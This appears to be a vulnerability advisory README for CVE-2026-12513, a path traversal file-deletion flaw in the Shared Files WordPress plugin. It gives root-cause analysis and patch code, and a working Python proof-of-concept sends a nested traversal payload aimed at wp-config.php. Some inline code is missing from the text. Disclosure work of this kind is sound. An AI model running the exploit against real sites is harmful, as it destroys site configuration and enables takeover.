minhhk68/cve-2026-12513Technical advisory and proof-of-concept for CVE-2026-12513, an unauthenticated arbitrary file deletion via path traversal in Shared Files WordPress plugin, including root cause analysis and remediation guidance.
CVE-2026-12513 is an unauthenticated Arbitrary File Deletion vulnerability via Path Traversal affecting the Shared Files and Shared Files Pro WordPress plugins before version 1.7.68, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The flaw occurs within the plugin's frontend file submission processing routines, where user-supplied file paths are filtered using a flawed single-pass traversal pattern replacement that can be bypassed using nested sequences (such as ). Consequently, an unauthenticated remote attacker can submit a manipulated path pointing outside the intended uploads directory to target critical server assets, including . When an administrator subsequently purges or permanently deletes the uploaded entry, the application invokes filesystem deletion primitives () against the stored arbitrary path. This results in the destruction of core WordPress configuration files, triggering severe Denial of Service and enabling site takeover via the unconfigured installation setup. Lead researcher Huynh Kien Minh evaluated this vulnerability under CVSS 3.1 score 6.8 Medium (CWE-73 / CWE-22), recommending immediate plugin updates to version 1.7.68 or later and robust canonical path validation.
....//wp-config.phpunlink()Quick Links: Explore the researcher's official Cybersecurity Portfolio or review the WPScan Verified Advisory.
| Parameter | Technical Specification |
|---|---|
| Vulnerability Identifier | CVE-2026-12513 |
| Target Software | Shared Files / Shared Files Pro (WordPress Plugins) |
| Plugin Slugs | shared-files, shared-files-pro |
| Vulnerable Versions | < 1.7.68 |
| Patched Version | >= 1.7.68 |
| Vulnerability Class | External Control of File Name or Path / Path Traversal (CWE-73 / CWE-22) |
| CVSS v3.1 Score | 6.8 (Medium) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H) |
| Discoverer / Researcher | Huynh Kien Minh (MinhHK) |
| Verification Authority | WPScan / MITRE Corporation |
| WPScan Advisory Reference | WPScan Report 25c9fa21-c48b-4333-8abc-87230dc4c869 |
| Researcher Portfolio | https://minhhk.web.app/ |
The vulnerability is rooted in an inadequate path sanitization mechanism implemented within frontend file submission handlers in Shared Files (< 1.7.68).
When accepting frontend file submissions, the plugin attempted to strip directory traversal sequences (../) using a single-pass string replacement:
// Insecure single-pass sanitization filter in Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );
Because str_replace() executes only once from left to right:
....//....//....//wp-config.php../ is stripped once from ....//, the outer characters collapse back together to form ../:
....// -> ../../../../../wp-config.php!wp_posts or custom plugin table)./wp-admin/admin.php?page=shared-files, the backend calls unlink() on the resolved stored path:// Vulnerable deletion logic
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
unlink( $file_to_delete ); // Triggers deletion of target file (e.g. /var/www/html/wp-config.php)
}
wp-config.php is deleted:
/wp-admin/install.php).Ethical Disclaimer: This Proof-of-Concept is provided strictly for educational research, defensive validation, and security auditing under ethical disclosure protocols by Huynh Kien Minh.
poc_cve_2026_12513.py)#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"
def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
print(f"[*] Auditing Target: {target_url}")
# Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
payload = {
"action": "shared_files_frontend_upload",
"file_name": "innocent_document.pdf",
"file_path": nested_traversal
}
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
}
try:
response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
print(f"[*] Submission Response Status: {response.status_code}")
if response.status_code == 200:
print("[+] Traversal path successfully injected into database storage.")
print("[!] When the entry is deleted by admin, the target file will be unlinked.")
return True
else:
print(f"[-] Request failed with HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
trigger_traversal_payload(url)
1.7.68 or higher.wp-config.php are read-only (chmod 400 or 440) for the web server process.Enforce strict canonical path resolution using realpath() and wp_normalize_path() to ensure operations remain within the designated uploads boundary:
// Secure Path Validation Pattern (Version 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
$base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
$target = wp_normalize_path( realpath( $base_dir . $relative_path ) );
// Ensure the resolved realpath strictly starts with the designated base directory
if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
}
if ( file_exists( $target ) && is_file( $target ) ) {
unlink( $target );
}
}
Huynh Kien Minh (MinhHK) is an Information Security Researcher specializing in WordPress vulnerability research, core & plugin security audits, and defensive exploit modeling.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-30",
"description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
"identifier": "CVE-2026-12513"
}